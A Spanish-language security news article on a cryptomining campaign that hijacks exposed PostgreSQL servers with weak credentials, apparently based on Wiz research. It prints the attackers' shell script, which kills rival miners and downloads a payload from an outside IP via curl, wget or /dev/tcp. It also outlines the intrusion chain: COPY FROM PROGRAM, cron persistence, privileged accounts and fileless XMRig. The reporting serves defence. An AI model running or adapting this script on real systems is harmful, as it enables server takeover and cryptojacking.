Las instancias de PostgreSQL expuestas están siendo el objetivo de una campaña activa cuyo propósito es obtener acceso no autorizado y desplegar mineros de criptomonedas.

La empresa de seguridad en la nube Wiz identificó esta actividad como una variante de un ataque previamente reportado por Aqua Security en agosto de 2024. Dicho ataque implicaba el uso de un malware llamado PG_MEM y ha sido atribuido a un grupo de amenazas rastreado por Wiz bajo el nombre JINX-0126.

Según los investigadores Avigayil Mechtinger, Yaara Shriki y Gili Tikochinski, el grupo ha evolucionado sus tácticas para evadir detección. Ahora utilizan binarios con un hash único para cada objetivo y ejecutan el minero sin escribir archivos en disco, dificultando la detección por parte de soluciones de seguridad que dependen del análisis de huellas digitales de archivos.

Wiz estima que la campaña ya ha comprometido más de 1,500 servidores. Esto indica que hay una gran cantidad de instancias de PostgreSQL expuestas con credenciales débiles o predecibles, lo que las convierte en un blanco fácil para los atacantes.

```
kill -9 $(pgrep zsvc) $(pgrep pdefenderd) $(pgrep updatecheckerd) $(pgrep kinsing)
$(pgrep kdevtmpfsi);

function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\\r\\nHost: ${HOST}\\r\\n\\r\\n" >&3
  (while read line; do
    [[ "$line" == $'\\r' ]] && break
  done && cat) <&3
  exec 3>&-
}
if [ -x "$(command -v curl)" ]; then
  curl -ksS 159.223.123.175:36287/JzICbeMxNQHwfwHLiCOFnumixtqYBv -o pg_core
elif [ -x "$(command -v wget)" ]; then
  wget -q -Opg_core 159.223.123.175:36287/JzICbeMxNQHwfwHLiCOFnumixtqYBv
else
  __curl <http://159.223.123.175:36287/JzICbeMxNQHwfwHLiCOFnumixtqYBv> > pg_core ;
fi;
```

Método de ataque

El aspecto más llamativo de esta campaña es el abuso del comando SQL `COPY ... FROM PROGRAM`, que permite ejecutar comandos arbitrarios en el sistema.

Una vez que los atacantes consiguen explotar una instancia mal configurada de PostgreSQL, realizan un reconocimiento inicial y despliegan una carga útil codificada en Base64. Esta carga es, en realidad, un script en shell diseñado para eliminar otros mineros en competencia y desplegar un binario llamado PG_CORE.

Además, descargan un binario ofuscado en Golang, denominado postmaster, que se disfraza como el servidor legítimo de PostgreSQL. Este archivo establece persistencia en el sistema mediante un trabajo cron, crea una nueva cuenta con privilegios elevados y escribe otro binario en el disco llamado cpu_hu.

El binario cpu_hu es responsable de descargar la versión más reciente del minero XMRig desde GitHub y ejecutarlo sin dejar rastro en el disco, utilizando una técnica conocida en Linux como memfd.

Según Wiz, cada servidor comprometido recibe un identificador único como trabajador en la red de minería de los atacantes. Se identificaron al menos tres billeteras asociadas con los responsables de la campaña, cada una con aproximadamente 550 trabajadores. Esto sugiere que la operación ha logrado infectar más de 1,500 servidores en total.